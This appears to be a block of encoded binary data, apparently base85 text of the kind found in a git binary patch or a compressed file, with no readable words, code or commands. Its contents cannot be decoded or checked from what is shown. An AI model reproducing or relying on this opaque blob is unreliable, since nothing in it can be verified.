z2#EGzv~RT1^tPn>?ObvS=BpPZ>I^(aMh#DDK~inVCZ_H=XrOvC@B9r@Zx;>l$EU&O zAvAO2RBK8+bbY69n*90FwyFOBbp#Dm?fcLeFbsDNZ4AbYrm@J|O$y3*{8))cjdz$| zwRXsNcX1>>8RvR%6#W}G4(t0X4%75$A9J#qNX4|l*XF8}Z(j+g$*N>L7E%5RE+X}& zii66TDNZI)J3MV{wB@9u9(6%j7n-**E}XeQ=LkGI^G!NO0X@R6IXGbeK{ACp#CQI* zt<%x$PY>~FyUidSBo>A;MqoR1^gJfI@Kn?r>I*=E(~>B zZKC_l`cyXQ<{|sRDeES9TDc8U3K@NvYUr-K{J@9$0Z4u1MhbyF%eL|Q$7uSXgJUIAWge=FFAvk~N?ja!_&aQqgS^m+t$$D|Z$Xgj zl0I^9RY`u%Ff_Lni}shHaXMEKy*&eAz7AX6H8PykJvGemdK0U+di!VP1*A5ZNAGAp2AH73N<Q0*CepF{J&7nyuuyHeY3kP|E(&|Vo%0wg0JVnt4`f)eH6bUt) z^+fl{>ddUD)yI@AwPQ%eDU9=S;1fwQ*vL!d+WCVRIoHU2I(ISU?rydfB&u!W%DzKL z`J3rqpQ9trHaC%YGUxl{#8UPt^X*3qe0dWI806yYVxhxBKw6j4t2mHzE&u^XuRcH! z*JY4y3+`4I;M%@S1}%No3_RKjs_WmmMK#+USCriA8W0ETH+CcB0>BU0gRG7>SYm!| zfos~{^43k~82;s6M5n#v0~>9b!s=P_h|HO42k)hm3K-o=`x;LzsiK^;U;6X=IsouS!a^9r)p z=AJdbnxS%G;<0Bv9JN--bT79TdU)W_(^ep+ltsXL7~35`FicA+_gwY@p(I$XtIF{F zKqgr;ZnJ9g)(w_s71!yldcK>Tr5m1U&un3-!Dy0*q`hFIv1#sDw!e^7(I<>YLRIrv zHaM#vQx^36RDI_V1kKOonE2<^sh`R*$Yck8&xuQ=ZakUkD@{LIpUSZMqz&Z!#Xmls zR>vCtn=1O;D$NrXKhsb1oTaFmrnzrLGDU%?X4Eed(A!dJk4_+&U`M0==?8W6An2SV z$?!3*UxC)$#Z@#3$m9!9;3Uq4BX#d+Jpb!M9yEr)RP`%gCuo zmZn7w+c>povYygJ%+~p>P@n6o%R{Y&Ijbo(q4KAuu4pwoHZ-TTYnk7JsTar}JxVLf zEsp?@;dTeexdBLH8<38V@81BCMcVuxL(X7IdukP&KtP8oq&X(chwBf@FD+Xp#2 z-vg<7No4edi4#g_dTu6fVy>8~uzs5tY1F=&$z89GtX$0`NV6P2A!*W4u6pzosDbK> z+k&NN8DTG6exh5vyW&&Y{t&5VnJGg3z>TJm63li~4fs&Rk7MFoDg<2xP+E?mTD8cT znKgsF<)|{0i;N3TJwKMT;^0jSmW zs)!V=3e&~&X#QaqLG-)rIre`wcY0KD*^RwQ!fpaqEDb>m-w_0K64 zm2$^=k{tjIZDG^y!&hhs-Y$1_Jo_zwq;ijSv_I)>y5{d4w^1zR_|#qlUi1v%2$ zqhiwLJV8$jwF#8})Dhz2nd=DQR7cFiYkQ=q;6qyfbyKVT0#XC(C8aJs4Edq@}BKE3n$SQ$Z!ctBdtbbrG6W9KlaP<(?)}#}Wfca47q# zCrcun3hF$%BSD4j?p{3|=91ywsMQBYQ(xQ{$z1EGZsK+{*3azxrzTp*g1P~sx{Khe z&W>?}lSGyCvRF#{Jw)7fIt-btO_PqT4;%7C&7CLb6jDW-=Lpgyhv$!qbcDl4#iN$C z8*V;LR5ZU?T{h*JqmuG71_zFck;k9IMPzk7_#s?AmJHBMidOm=bi2>f$F|f(3i%9% z)OvSej+GqNrqmmc1k!QpYwGTnAKK}2>Pb$oB*99l{SA1v-{vQ{()LH#fuesP#J;me zG4ftj{c;xwk+Bu->;t2;xFj9U&&qMxgg|-(9;wZ= zIpJ$)Y&dWw)V3t8Rv?-B9qYMlH@9Pi?{b+J=t%vtCssf+t;-(j^u~mJ>dbE!Ht!VD zL2H&A#`CcKW~=fa8l!!H+GwiL$=>)a>dVFG?1w(hO{&yy*bG6%FlWAL&uD!#m05!# zB|%P`)YV9ghk)uBtk~#R4rn{Z=inBoo~%2dC9!r*7xUvvBe2BWO`fHzd4-P5dE&A( z-c#9c(vP{sbcAau{+ysx5YDIiRb$Hzg`0g*UT7^{KkaCC6z zbM9-wmdCx+8lNmp_g}tPVcrn43?A6Vjz*PgsVWNUSoB-Vsx5uGYf4Mfozfy_QKB-~ z^LfiOJ01UE+S2{G%>4wB&r%PN`j%o#)*~!LkIk94F-TAMU!=1_`h>|x+;7OwQC*d{ zMCDLmft~=_YlL2>wM0sZF38X&4%6g(rHOhm^#C%Z`rX-HCn?l-57Nq;g8DD5?P>GF z3Yvy|9=Vh!BpLIPC6NT1%dMLw4>a_%^pjU!A!+;Sopy52Lxz9q+2Rs9MYEes5*Dbm z7+Abta)NqiKx2W-bbg9bj>1fPTVN zZHe_^iQ6K3(~4C;um*E21PYi5My2-WLPMfI%I3;HzaX7 zHRelnFiWFrz;*&OBpyq=3VKE-cUyFQ1fe}m?6+AB$@Iz!lA-!bB+%M8;#+gQ38RK^ zOGf?DjvqO_dFoE&skf=u1&Zi=Y>A%|pV}vF9Ohvpx}{Bb-s#uoY(z#wu<91|Ggm6w z`l};R{>$Twl`a0Z%QOF^8e^WN_%96;ZND$0brPVl)#p&vPf3s?13$AV#4BQSd(oUH z=CZ;qM`Y2fU-lHTZKxx$%A<+;Ohc|by+fau9&X7?w`Wn*wR2*kcQ0r{%ca)PK?WUf zkX1FEBTxFJ(#nuonrM#EF)BZUY7NYKa-jEg>5*IWt=-4{`M~e%+BL&dCPMz97lZk& zeO82RyE{d(kl!%%%vOL;d+DKlHW5$<{Cp7H8Q_7l) z{$T@ezNrD%seJ;i*5u1Ynv_rRw@z+Gvpjasu2OHSrX7h+&1v!&Mrn7acR>>r*f3j93~sJ>wKniU{vM^`@;-=pYc~JH=!xZjiZ~z6Eu6W`dcpq z*H&uEq>L!1D=II&`;=lXHl^Im9kxtR%Vc`Y`hdWG;?nX&n&|^$d$t|1vTA z8L`a&kG<~zh+=0RzoUZ`1w}#1fk;s}_UIspR7DYxA}S*F=uM7p161r{7aK*zt`vI( z#okb`7o^y*qGE6V$?oml9vtfT{oeb3zw-7yxlJ~iOeT}bWHL#3vJ%yee=au-*~Cd_ zC>$sJ6a*O02nz-fM)2r&w8)$YoX{f z3h2NF9s-LxC6b35vD+qv`VDkAv?U0iKDl|h0CVF(m{{}PVKl`zjN%^%jS87TiG&^f zZUJG?no!f=M>G4xC4#^KF$U@x9QleLg2~?s1Opek6%F=6z<8g`?Gd<}8o%iX-!L3M zeA$z@iwgHx1+ZM*7wyufgiuR$2$FuuWCk}B0sf7MmGM`!QH}cw^g`xtJeo&4{^^NC zPVRgY58%obVMtCUa)F_p>>zjq&H_Y6Fk3=%fo{Py)}a|GI~iSS!;d3E6w`=fCLV=! zb~wX=l=587i0PJ)#E(RCaoQN-FX31UORY$-boOBCwD1Lh1r9>Oxf{UohZ8aeq0@1L z7&^wE_Z^x5)t5N76!(`xZ3^-o)KW4LPJTcRXA5-7D3J~|ADI`Lkr*q;kI2AIz7xDb zhH%9a`2msr6KXphgOz!HXV`6wFzjJ|{fGgjeqv3okG~Ej}xKk=_2pK)lzDx?fu!c!O{@rAf32g#?)cBnh#2dxih~|bn&a=b$i`}$g znW5mfK#3s60!jq(<)Z`Ue6 zG?RuVSmZnD9LoK~zmSqlK-t?sM)BPciRD8w9tkquiXa)uJ4%Cc2cQc~ihyhalSe$t z%?t1J_&dMeL~@>(M7<{kgep>P*(sE!!_D-dC2{W#B=0LCE(7ICDBSCW??=zS3W&!s zuz-sUyl9XG>j5`2$Ov@p4-One2l-BnETlmI22dEYxYr1gOhmFL8OEpO$O9F@f;vIv z(3=}MaFXlpyf9T%;g@>wzTj>S9A1z&2J)(cR4jZ{q|rnfH1v2G7HIkVEgHHs_}%wP z+gdA{7=uoi7iWmj<>es>U21>U_|Yn6jdP^R?SrQExGrOpT};!V(ZsT8v}KTALInOm z7_2lbni!2nhyO<8oxG6YyTlB4#VoLtajzHs*mGEH!V&GUGdEcc)kt_h@#2z=A-1#w zU)VR)E;n9y^ezlLSFGtU-LI(cYn_V*y-(j(YAJOvwNV$peXMSv)rIbKTDJuLeM&T% zDxKDg=T5_bz0e@BaYGP|rb(x%@;;r|#bA24_%d)4J-AB6(r9LMn(>LP3|783)S5z(}!F_*?D){R=q*|+_M z4a4T($p&W?wIxGRo+ZzlJvMmmtI@fN3UNIuMvRKH9CK%y`8e@=4JFsCd*6%rtl)j# z<+D6%`Ln}ygTzc)t9(r7sf{a9&+Rs2!M7dGB_Uy@#&&Iy`PX_r&$~b1!NkJvEnnsz zdpN%6V#D11c?rGObaNS~RXp;Z4;K-@@dJ8iAZ$B7PbukWv>>1xT-*mNoj{A{gn`n> z#&4=Z`F{2X7~MNV_$TK776s@y6ZE0cvIXmnqymiwU7%AuN;eGtjR~gHu85)#@mvu# zgO|}XA6gLnb)k8~n;XrO<^f?h`0EPq=s7C(`UjFaQb_pFD&)yud;BZ(Irv2)iuyQ1 zfDTYYXs`>77EOzzu>ocRErOPaC)2@m`NG!_h~>cd5LybPON0>dl#5}2D;;o3fmG2D z5BF|%f+UNl!Jyv6e`d5$L<9II3wfOYUOfEAhTJJo3JreQ_*)8IZa9u#IK;ctlzHis z@Nbzwfe<_|!e=Cu90qtK0+d9kMGACA1U;FSg#V>tKLjtE#MK!}jt=x`A0+kWPre@jTwzevx0x7G)tNVjRkM0#x&Xx;0!uWL4m`8*kqh8sBUTS z77n#Qk0D?{#ev|Ea7YmkI3?3!@m9o>0#Bp*dUD|+4ng%L>4rk6<-2Nge!YEZssP6e z;3NVbsnAv_6siep`(1!P6VkZQeBsR%auQ{wS2dZ)4 zKUD8fs8uGE(=opZ-twsRNe&?B^3UJ@WfbtDgG8axq>#A&=lQ=!0W{Exh|sXy!S5ub z2jmUQ`zS}36e-Rf{1BoVMd)-^H%wYWe4xCjh^jaZbC-}AC_xva=UR%;#fk@GwpedU zi~=StN~aZztry9rVOo@YVm*&4?tVK{ZQ9Qp6Qj?`9`*4ZRJwRtac-~KSgzO|ELZeI zv8V`LL`2CHhGms4>KRN@$3u)R4k)DK7>W9cNhpc<`LL9*9ug3cQj+n9 z6W3t=pOTos>W;~yNJ%A0Z+3V*To1_7z|>HTjFRw~1WOCkMBhb~`taup$aH1|X2$p= zhL@8ArqNrDWyQiw%uHCArK!od-f|`w#)1eUh~=FBTQKX7^+T9-Q&Qt&=78^f31RTo zQ#mYMOovFO?i&TiAaWSKK0XW=9}gQ#M^~1Si>Zr)k)su6#o~e!rGleW6ejV=a*O5C zwW)-si_=7N=?cInbQzIcI-RykVWi=-JJZjx2C_Mb+QFu~GL5sjgdj zAoyqh)-mp@?86#%wzXcLYBFs3zL61=hH!2NfB(VMao=;$S$gp4G99PZ3EKDFR5FXs zwJ3P~*i!2gt zSj#wZ^#12X)>D0Q*Jb}0vIA!=^?qV~Fy-u?{meey_I6E@c{${3+SlC!%WKScD`37T zzoytoYy{?3Jha#)&nXJ55;n%hVaajKc-~Huu*7)dq}XT_Yn+sv7!DpI9Ah3=pjO1W z6_}L?Nw6^zQqWn&#U<%sb>FP8 z3%@wwn&hk}vy1ypYB4);uKUpU-&daN;l{eNr9fHf<+*QK3&yV#Ydm;8kg=lAE+Yw> zg{z#UO!s#ik~ZS{`vd2m>!{uAy)?G)>(l--`g`BqHdw{HF5B$xq-j#wN`;mhJ`4A+ z`e~`3ToknMQ`=;zv5`IAmALnl9j{<>w83ISPOU@y9Yg5{p0^8Y5?j?=_FP$S;un}& z_^j|-+s=TyUbYOklk%A(Ub$XW!U_X>P8~ee@kQLq)qW}TQ|?|vKlNWdMa=QZ4HfB2 zw9}VDRnBoXpHg`@j#;K1TbV}(>2?>STMb3JRos7h$hVb!APDp@8oiSlL?>CUN}?o_HAD|?SO;E-{!a8)j#Rid*9Rcn_0Er z*VgC1YE2uEJHLb!L_t8Q0AU?dlp>v+mG+3NOCP+*Z{quhYSVV~?pZsSgL$FO+(XO_ z8@ka2b7C1_dWcuLDN(Fu{Befil?t*Uk>L%8VzZR7o+zoflAMW&wH0PM(9G1*+8h&* zcNcm*Jzuv+c?|uWCDT+{`Jnr18BJ_7DpFI-69b7?3=%KT094!GCfr?Nv&=|_O2HjH`TQ2 z2m1H#x8Qz%>FA`VBcqj#mmL1As??l^jwi<~bf{i#<)(R4{S)SCU_5B(*d>;)R%*TM9kEEw z*eE{sXSdWx+Z6AADLdI?PotK}xGM3>E}!iejNWy5)QyX~riiIvif^lmhUu=Ar^)H> zENyT$x_E8Y&t-1Q{bfg*t?egszh;4nbo)_r{ZkEBX4`L7R4T!eihE$W;zvNdZ6w5- zOo*wjDy~7ZIuHvB!qqex=_R^zmcBI%r>iK7!dS*qLE0lFQkpl^v5c^Rh_ytOba>+% z104g!pm&}KzAsyZbT*Ud1@$`phb%bL{9@Sq6_{wKxi?=-2(w#Ro!2Z`2`0&D^Z zuyL3Ik_<|8`cE-&OcZ`7!b_+m>4wrPh>5}UArDiOkmk-#deOzialoKF^WsF1g7*C? z%cEX*?((LB;6YnhiJNSX+%m#cc!_$7h{3DRwG$$g}@*S;ph{WMJ(u5UjWq^ChJgNU>pG#xw6oif z3#~@14gD@o_A1EM3fy65?0#tdmeFflk`5o(^C@$$Tk^-j&m5+mZ<6gDeW7$M!{|#l zual!M8MO?rJCgKdi`;tA($S3v=8o`xyWDZ@n|H5Ywd84<*&Z0Zy3MEG%mEv7)s{9d zlT?4(?D1)S$@!;BrHehz_N~iLUOr%A{2J9yYHdC@A}?zH9It+9{rsbPm6>6qo!5`L z^tpAzn9=vwh`2Z#2eseXbuHH<;oHXLN)Mk$KiRt8@Yvab-R0Q}SKWQT{)?inG}~&~ zn=H-Yhp#q`etIQiMW6BK%$0-gFI9J2Xmo6+nX}rf?!8oLf%nY=v@RE%k$yE(e!geC zypo6AWP@RAldryuJAeE|(gyz}{!^AMDDFE*ZU znfuwha)GHbTSI>C{q7Cn?TMFNuhsW%%{(c#r~a$q1I@XGJ7m5p=?&TW@N?7FX|9JQ zgNL$%hj^4bzVLXtJ1z5;jG1)2S~g3wS>E^lqmr+WhIZc>UhvaPnK`*iTq~=2xr1JG z&C>kk=N8;rqqR$J{MxqlyYix@%f=WTPK%|fuh{ukdC~{v={g5z*T!ra$}(PkuVtd$ zP1@AZp;s@@K6jwc7y0A`$2ZuOi42MP8NFsjbN4OX_gH#K-Kep{awQ}|e!nK=w{jF= z22%S^$ZyONGs8fDo10=t_k>wB3Yual_@A5f|4w=rmBdv%xI1jgfXT5;m8PT3EvHtE z>gTod^8G#@Its6@ZocZiGX-PxcrJO}cX=?#E5BmKAm**#T-e6kMd## zZF4SaUNF^}weD?uq?+NkNl#|0KYQY_q2zc!pYsd8xYSBtnNW76+)-@(=S^`-BX8>8 zbM-0DyYfiim8rKQ&(qIa_MxcZ*O*0%u!LFf#$xNfOueyk_fxHvQ$N)yy_4GS6Yssp zWl_;E+VG(fJ@gDBwybg!AiY7J)3BTZB;EUoP2q%%$>?5!;4FIx^u>~ zODZwh|6`>7AI;Q(*4h!!Fhcn*JyYgZX{Z;d^d>Qex3x+kf`SiN) zxqZpQCktY(XCHsO?5%|HOwrcG19Y^LzJB=jFk=-{?xSRL(vdzM>lVh!BriWuV!bxf z=+r3rXQAWml?&!E?3*Q3O+H^_4Nqg)4NUHK_F0nM&zUkx4^GI0ENr`Zp!ai+dDBjr z51g=}>iLl=-5e)f^GVivg`Gc~!5$w#?=90)zV1%Xg7>xuBgX7DGJf)TX5Ph7qo1xz zS{Ap%+Wp#x%&KjDvO*1BuU}(eCXuchdd^NGUNg6?+Zn^dwNASqeSR@zZ_CClDdq<} zPEG8msGHW!)_eZMajs51kL=!EJ~Hxbk>k(oOs(v~URcCaN5u)MXA8Bpt~j+0Y(3mQ z?4sedTPE4=x&wyk1dV$(`t_!URqM{%Bp%JtOOfdDDov|uP400$-+dJ^c5_P7LiQw- zC~d0RHndGK@%vnpxXK?7MxCAC?_9*ub?UPe!$s_j%Esm&c&PPgZ~6JKJsG~@*BqE$ zJC>D~W^CVGydqWg_L5mjsoKUSTci?-1LpUyDtv}gJ$$DUK#@ST;b{}#*De+3p_47%HY&J01= zfIC`A_$KJ$ob^au`n4BQ2FZ+KEKmkz-*5G+olv{K zdeX^*7i;ThW*-?8f;mz^$g<2Zlj5G)ik(*`OH{M_bft_@$4@Ywisgc_a8KRPohHZb z?T!ACrQmYNA}qA+X|vsi7Z+`%o^Y6B&+m_`-PFd>9?rPG$9N)h%eEU3&7OOK39NV7H`W6*E5wQsBbz8~* z@SS6RUc;hihK_eQr+K$L`>fe6MxNL9gD2B86q4mQ`@7$4^DSSyzL!dZb>P*r&xSW} z<}b7x6k0Rr>%dcE=JxrKR4p+@Yr4&fx}J)&?=CtL)X3PfhV{LmY0mMl8xIyQ{kD1M zUVq)It*mvAcHX*_nm6f|AA5)X)#!Iw`XGa>OkSRK&%fRYf)A=UO}a3sq-`rMLQ>YQ75Yw^P* zX~|yiGqGv+-?T?b6h6BlF4jEiNomL{*3&PoH<|`qtBvciVS0g?^(m#6cc;y|xRWm(PL6(h-Ajq%G+zhH z)nW5Hp%|T&tK$c8qj7@RkZ&K4CDf$oNl=VyjhDr5-ia+L}< zRZ#MZG15dN=3HOpou$8h{^mvX--e9rIr~GMO)-o1!9D#}@#fOvT)7-DeEbB(`3c3Y zD>|XS+A7Tr8VB%ID^Y5zb_0~A{w>B+eN30Il4$a+BpvO#3}nA07Ox27E@owBMKSK; z!T+Yl-K)#eEFR}=xA+nL*>&=~*f?uu3%fBPwcju7fJ`}Uf23hyU4y!Hj-&lF?yhfndF=w(OO3bJAZ9Z zTsO07a$4S$r9UKv+s z%xALP37NOPoq`l=nr=^uyu{A&!orm*H|f*X1*%ms`i!xF+Dd5PEOZtHDnsl7LT%lTB17x*jN)+rddrt^ql>o z(6qb4<{bgojxGx6{e<iimgdd=p=iE1T>EOQ(V#7cy_Ol&S+00&{!{ky zSqWw3LY<0c>(2@D8MkEn?lTD1OEc41bN}GV)C=@MJ98D4wX^5+nsKJ=KhNL zkJC0N?RFXG#LB&MYsRjF<(jGQKd4U`)x%Qn>0a|06F>TI+x2D6#B&98h2z50j?J%` z(ko{1o1X1&Z=16Y+)e(nC-v;?H8E8ME@vVtZ~nZzWKrtF=a2L1&i1{lR~@iC(JgUI zVDx|npAny)o}cs~uGeQ#6@?x%w|TCv+U9>h`1JdUjP_AmR-bRZ`rK@&UFsL@7k>6J zD%P>xTgTZiZ10zWRleP1b-{eWwt}%bLk`$PZj=lv{&8!No6=X=rkCB~r+Zy)n>M)d zw$#)4TEiVqG(2Az@Jh5sJt5(-uX#jd@?_O#-XFA2Cfo1AawW517zib8C-RHxaNBn$ z$)7X(ZxQ|Adq9YO1HS0*+Ca`91i)DVvogWVtqCiO1s-I9!U9&7|MVc0E7IBNKm<7* zh=9`p^ttVAUy{44F?Zfd*p}OUq}idj`^IP$Irbe8+d9r`+W`qHRWY|i(`sZj?pwy5 zR=m}%&FaJ|iSo17*Xcc3j`efoGQ($0T^6hpS61k@wl!)(-Gengl`@7kWw*Bu+?6F= zc5}tp^TDd(tr2NYO}up#jh}3n@~YkKyg%^PNv3G(_NaFk;@{bfFHvrHJ=ACwz9S*r zJY!RFn1WILkfonm8YJbekIyW1Gk79*tXL`i*fP7#jL+wEp_63*0m6P)N-X2^rKk(@s&l#$3ON_@pTr|jNm+6>O`v?CpsoyPXS5aBE#A<5Y zx@^Pu9-|j)nfI@;P6(gob7-x?PL+N$F0>yK&0Fv>sO^e()%<0%j#O)<^bhKzzwe@+ zzE%GM>){r)lPi|&QtP*QYs8BX&6p;Aw{=0YoBIdWYmFG}eR8kAy^d(x)vN&H>-}1i z0u@HNrtkhlYdW$+Bsb`8b+6q=`(E=K@x;1Bp|zjekv<2UC%Zg6UXz^FnEXWNL6z&O zQ?E~``QM$s;KfKcZ1eVo4_*Wmm3_Nk9?^V!WzM9RH(ri-;%2Z}Nq^JkDUsQa=Z0nk zRT|H@>A!Y-Rl2_Zo0su5`uT?WLo7XyH_ddOb5h#<)U{G4sU%*ena*7c046&S*Sk5vm zXEDzT#}vhKrepSGaUyhO(_a;b2Ji61Fb;U8;P+OCC2^QhDe>449sm){Ov8ksPH_Vc z!d;x>a0lp2a1G~xdn|HyMy{!ZV>OeZE^PFTe4AHV(CC|~%B;VY5~;nW+ln4dVM|sy zu9#AnDZA)6JBVpG_)|^t)%fW@j@dtzIX|ds=++JIqVI-PX`7d>3}nw(G-aNvm)|Yf zC6nt^N2tBCb)4sYrTlwr%V0^S!J5Z*eM_(HRZm}L-P{^}&e<*_tKU1NDVr9hOkdD` zL080ez=^rt4{zKmF1zMs)R!pc^5OyZ17gRxg=tDhCyXmt@o;*3b^bfofeqgVT{&w0 zI-&orM`e01uiSqpU$#nrWx+^!yKZl#=G@S%G3nFXcFO2-K;a%YYnjtBCr>SuAw|Rd`%@A>kP4of!gLCbbMn-h2-aYbt zQ~ory#9mWeHm5xrGJw6ICeS-HuSPx0VrAZgJMTWdRW4br*L10L<&{@~VGb<;l51xT zmPnVlDp8TD+4ERP$lkVlr~8T>d*EGdNYTrqtdgUBmoz-TL)KSy|d&hAr3J{&i@-?DvJAs$%z#SlRqMHAD5qGs{(( zeMbDevAbVX>f^F6-{w8ZE@@uCy}VU#w_hI~;1n+6{#|uu_I_LMfX4glJ<}&&EjhCHxM6!h?sWr& zp(b+<9c@0bb{wZfXOXdn^fmv(Gvb~wyqym=9X|4A_VO>919eWio>-K*S#y17M)H8^P)t}8!oc0YZgYFUAw?$Yjiu-ZNuCAmt6uw12m zycwCOD3~jhHbLBaUJD^}h0;=p$`_%Fb~ab!(#J@2BN?MRSS)hsL%|FL3{FQ3&ILVV ztc)lf99;x$9b$|vBks|?8!C0D%~e18eqvPBQ`V5}H8)Sro4ek5T;irRKSd2BzOjaOnb9)UD<*0qu`%RwhY<#w{I?K+TQgB5b-u<< z@w^3hCZwffTvLseiKz(&&UY5LsfNYk1^?Hz5wLk@wVyf0zv<%odeqipUqNk`U| z7mTW3SFce1xb^<nPo%;tz zPI`&4&E~I;u}B)`xZFQ1+I2o13-wdhWBVdVEoQnt(~>dYH}lxvWL+oF+|n?R&~JYTV3tzyGT5 z9dIl-86)32#H_echK1{?e}V5^7qB~8V}7@$iJNG^`#5%L$@^hxagT1FTGD!{|B8Z& zj3@`2^FNNuOn=!nEa+*<5&ED*i@a}7iXYdq$oOR#mOe+xWS;e-k;ioV6)dT{t@WeV zjW@2nWM*7i-geGUw&A$Wy#2dw><@fp(yeFj$)}d8Tw2oOzJo}U&qA58xu&ljqbg@T z^+|4NSfq6(_~h6}A!GHob5z?8nLl~_>izcju?_FvET}l99MU$@NmK3CSA%(nw|vNI z4Hq%GmF+m_%_}{Z8-dd~<)7YsnOtJzPU{zKc`_ze$xK$G`^^EpCml&x-gn4-Y4`aL zzuBAl^=p0pbeK;Rhk#T#xIi>qIIht7^?H z8xcOoE3_i;d%C7wn}6z#qjMcc4jFY-VXegA$Z78*szp~gPknu5#P@_ptIt<#d7Cvr zhShe*Lt^p1*;3|DGt|mkS6#AwV(ffqbNjvUqZ{eR8PZELE`2*vea<;>g7R9rxTp3= zQc^tzN!9$z3A#|x^p{M~uYVYQA^++6@u5*y?UpSHxOsVXpOgPpp~ss*bA_ITk%{SF zCG@(04HNTXd}5A#A#;{vIZLpde1W-n4ra%jTGN$TUCzzDMz|3Zb0;q!<8b2Y)<2k; zd%=cN{>&V0mHwldx#Z*7qvV=THx}6EOcb?Sx1mHUarg607vHmv)rvQ7{qe;=UIp8I z;#9=Bm_V+wYRG>hcEV~m02nDes7$a!@j+BZ|uV}mp`1( zq9u;NoOQHqYhQ|%uE-y2aAebw3!THjn=6|rdk z&zR6@_fHM)wph2>`i08yiDBy|X~oy9-LT&F%d{ygVisj=imz*0`&s>))vaair%Pp4 zCa3V-pjy=rRM*!~JxOl$wN^%J*A%vG49d?;jdj|;1B z$q!wfed@}k%~xJencmhkXrlCkz?1@QsgOJ6UK)u<-!#!4JYh+0Tx#=?Jv8I#r!B*_ ze{4ve8WNkBzBT8n!!^pQ-rha&*!^TwOIuY;zhe;~Dt3DzU470e15?D~Oi?CoNoagI<&y`aCF$wwPj zJuB?5H?fvk-S>2b(sGI8$G-LUkStszHbYj;zkF)d9skjvp5E1`O)P(0z9Iig&2Y2% zr<>)oj$XI&UT`YmY*y;>R7@>x*06XdNjrPzfb)unEg#f~-HeP>3$T81u%@(6MtQ^a z-cI7xyJ8~78hs0_yu(bqxTM>VyE564FAgY=x&7R2OOTDe+jXsHE7E<921FYS+;PA# z?5=E#%@*~C+LehjqSK@vM?X@Nm|By+RpHoIw>wccKh+!Q`Y5Dn&APksm}u3VgK6bA zuaz5Z`ZDvW(<8A`1BvbVrJf0`;D`e=WRW*`pI!Q&)v<6}ny?8v)s~h^H^EeS<`r-P zlM^tYU>%KPKfk@W5K5bWeu?*ir3(%p`_>S(iuT@myxhK=?@Y!xx+|8`OaUMw%gU+4 za%!=hi&##DSWjVH8+=o-oa~KL|2q;39NR>f_^^Cxj4IbVS8tw54?HBPG^?G;`7lL7 zjz%gm&Dt(`pEp^h$iJ7e7B#Or>nq`Rcfdmxd1;rO3L{iT8wHp=FDlE~bXX(iRC7$- zR)raxT7$6_du;dB4;vzRMgHnRZ2h*AgS7`v@+gu>2)rLNQO94`^XY`-B|C1sJe{<0 zR?_MFst0nTQ@)#Yf7EiWFktZox1@*0mEmW6L+ak!wklraY>M(+$%(0IX_>jqQJuZ} zo4R#rFjjwY!IsO%_VrGDvB_hVQFQD@nI*>#*2aV%Ij&wTK48N1zC-g^=Nq@Rg-d+Y z&eQK+uWi`p)T{T}uk3HFj6Z(weCFn*`Zu&1R=ixYR*qrYo?3o&jpdPIDb;;*WF)VM zIeSe|eXu2O#QJ&obST)IMtgm@3N9~&jgZ74bc5t%s6jYj6pm%XkLBesxu?r_OhUQ- zuj40y`x`obbo1;SgRU_nFHGq8m4B{cr!T4ad5v(iBgkj|ZG9b+kq4LwoUhk05jqR9 zQyhNmCJ+fe7#lOZ*>E9TG90GP2#@BVL+M~gDSk>V9FUnPCnF~VXN1DR$02bH4xH~6 z9mWVl=d0t15)j!QyE zyrW~)49Rp+=pnt9wP1v&Q-VO}(uFV(-^gxy6o|>;uVt|*3szkuT3uDJ| z*whIACx%Z{VrpDCBPA-D!w6+Vi@=H9_QKNQmo)x`C;_1(NV+3@fc1WZ%U^}T6tY-Y z(M*F=7)i#$+tevBDbqJmA5MIP^L`n`$>_khL@*q#6oC^Y5rcGY)U=RfXl^+26Bs#x zoz4h_^L_)YSk@+3Af+`B--RVYm!`y}M*+7o^!4$0$W4^W^oG-L^>K)X49t*#%_NQ~ zH!xsm*)cFK5{P^h?m|HdrbL@j0O7?@IRprT^8A`EK#vqQ@03WA@8Q0IBy>&Uv8aHkZGajenGH9EBnXtn^i9N%k=3WB z?Nmjp;HmH6)Is z&&3p_W}-iaIAOT21pSc`2uI?=ML?j^L7~wh2`SvWbKN2nfL)wGo*FQ8b@`((DhoY= zWsw)|lI=<@n*<2=9vFaz1@}9oCbM}Qkbuw=O!BYbMxi0X3h0Q`891WV$7TA3*4!;-Wdugh7I|ICP4CxFJ^nqoJ6M^d9s=B2B@cM`&T#ckWAEsZIjw&^nZAP+qxt5}-x7>ER;* zx`PHx$d^vyf+8tE6yu_V+qRUpL>$5W2;Gl?N~16UB_X087bQ}j#V4g?QmVp3kCK!N z8keM0PkG^n7fI7cX5tJlQ(a;!;mySd8qQu}Mj$j6|>3u=-MtT_1ya5gL zgLIitG+h*|AeYL}o#47_eT23lLmM3ut!+SMI@Ev&AgQJcE9e(`6}L%Ax-pS#Mc{a{ znu;*BT!GdWRw%D__)X6El?UkLccFlxX6y{MHWmJV|9Wv-?H5f*-T_+Y5eSVX zl**zYdO9~F5sxbXRB0PB1Iv^nE5hmYxR7bGD_(=fmm>Z}-fS{O|{sPlB5 zumfcX|2GD9p}hvzKVT~Do|w)~=1t!^4AY1oh3BSfQj|7>$sR+CLzr{jILJcnne2j; zqThqT5&A{nKx_o;s-r!LTQ+YJ_*)DOrZ6X=>{GObSNKR^i1F6OkfiH!a1(~16OC^^DCHCr2a~@aJim>B$0z6 z(s=cw@bn+(+MTP|cB4rVtUFhXdMHzku}98p_+vSexzh-?(NBqCh; z5VlsBZzEGC7Yb1{m^JvzX}C4gnN4Qy2){!$P?1Oqf-zR07(tURrHxSr^l**1WHCf$ zLp~f*ViBo{zq~@2UWpuhaS4cq2?5UKHD3A-Nq!?n|E*@=7Qtg-!Id_AK?JUqL^E2y z1h^3_Bof_=hZftA44I{oyuPPnZ>2VDK0cNC;z8lpD!T3Is076oG&ekxv&GpwB5$ z$%*OsG8ozl0n(Ott+T#1H-?c8cp(OY=`RQo?zO;-kT7%)x4;aJED!xsdI1?NBnl?F z$mZ@4iY`h{V26)H?Z!hvNOiiX3WXH-V)Y=wrs5*hITBZ~DD!w|dk~7hnAwwc!887L zMlUcO1e`h}fE%c|T^G?fmF&K#8xsAO0muE4*0dzFd?yr8$F(;yC5bTk3(N7iS3uX| zg4%Trxzd2&q-9-A<6~MRn7Q3Bd}@$?12_ckg%rEZxTN>A_f8hEKLsX zNGbD8MCJ>9$k&;V5L1)WC*MCdTcJWa!}=X#XA(S3FgFV~6(c}=gE19>&fpOP{VPT= zM2!x_K~bp2ByR(uIPKSOnWcm^U}qu{#Opv$@O}Z$uryc=WpMEOQjH?feYv3XhBMg7$uL5~yoUq& 